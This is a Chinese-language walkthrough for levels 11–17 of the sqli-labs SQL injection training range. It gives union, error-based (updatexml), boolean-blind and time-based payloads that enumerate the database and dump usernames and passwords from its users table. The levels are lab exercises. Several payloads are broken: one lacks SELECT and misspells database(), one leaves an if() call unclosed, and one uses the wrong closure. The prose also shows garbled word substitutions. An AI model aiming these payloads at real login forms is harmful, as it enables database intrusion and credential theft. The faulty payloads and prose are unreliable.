sqli-labs靶场适合于初学sql注入的新手,它包含了许多的场景和模式为训练者提供精良的训练平台,以下这些语句搞懂我们做靶场就如鱼得水,非常自大的可以完成。
查询当前数据库版本:select version();
● 查询当前数据库:select database();
● 查询当前路径:select @@basedir;
● 查询当前数据库用户:select user();
● 查询当前MySQL路径:select @@datadir;
● 查询连接数据库的用户:select session_user();
● 查询服务器的系统版本:select @@Version_compile_os;
● 查询数据库:select schema_name from information_schema.schemata;
● 查询表名:select table_name from information_schema.tables where table_schema=‘库名’ limit 0,1;
● 查询列名:select column_name from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’ limit 0,1;
Less-11
闭合方式是1’ #
# 输入1' union select 1,2,来判断回显位置。
# 输入语句来爆数据库名和数据库的表名
-1' union 1,databse(),'group_concat(table_name) from information_schema.tables where table_schema='security' #
复制代码
# 爆数据库中的表的字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
复制代码
# 爆数据库中users中数据内容
-1' union select 1,group_concat(username,'-',password) from security.users #
复制代码
Less-12
闭合方式 ") #
和11关一样,只不外是闭合方式不一样
# 爆数据库名
-1) union select 1,database() #
复制代码
# 爆数据库中的表名
-1") union select 1,database() #
复制代码
# 爆数据库中users表的字段
-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
复制代码
# 爆数据库中users表中所有的内容
-1") union select 1,group_concat(username,'-',password) from security.users #
复制代码
Less-13
闭合方式’) #
报错注入
# 使用报错注入的方式来对数据库名进行爆库
admin') union select updatexml(1,concat(0x7e,(database()),0x7e),1) #
复制代码
# 对数据库中的表进行爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码
# 对users中的字段名爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码
# 把users表中的数据爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)#
复制代码
Less-14
闭合方式 " #
报错注入的方法,与13关一样,闭合方式不一样
# 对数据库名爆出
admin" and updatexml(1,concat(0x7e,(database()),0x7e),1) #
复制代码
# 把数据库中的表名爆出来
admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码
# 爆出users中的字段名
admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #
复制代码
# 爆出users中的所有数据
admin" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
复制代码
Less-15
此题使用联合查询和报错注入都无法乐成,以是只能用盲注和时间注入来解答此题。
# 对数据库爆库
admin' and if(ascii(substr(database(),1,1))>115#
复制代码
# 对数据库中表名进行爆出
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #
复制代码
# 爆出数据库中users表中的字段
admin' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 #
复制代码
# 查询users表中所有的数据
admin' and ascii(substr((select password from security.users limit 0,1),1,1))>100 #
复制代码
Less-16
此题和15关一样,使用的是盲注,闭合方式不一样
闭合方式")
# 判断数据库的长度
admin") and if(length(database())>8, 0, sleep(5))-- -
复制代码
# 判断数据库的名
admin") and if(ascii(substr(database(),1,1))=115, 0, sleep(5))-- -
复制代码
# 判断数据库的表名
admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>117, 0, sleep(5))-- -
复制代码
# 判断表中的字段名
admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105, 0, sleep(5))-- -
复制代码
# 判断表中的数据
admin") and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))-- -
复制代码
Less-17
闭合方式为1’ #
使用报错注入,在new password中进行报错,因此在username中输入admin, new password中进行注入
# 对数据库进行爆库
1' and (updatexml(1,concat(0x7e, database(),0x7e),1)) #
复制代码
# 查询数据库中的表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码
# 查询users表中的字段
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码
# 对users中的数据进行爆出
-1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1) #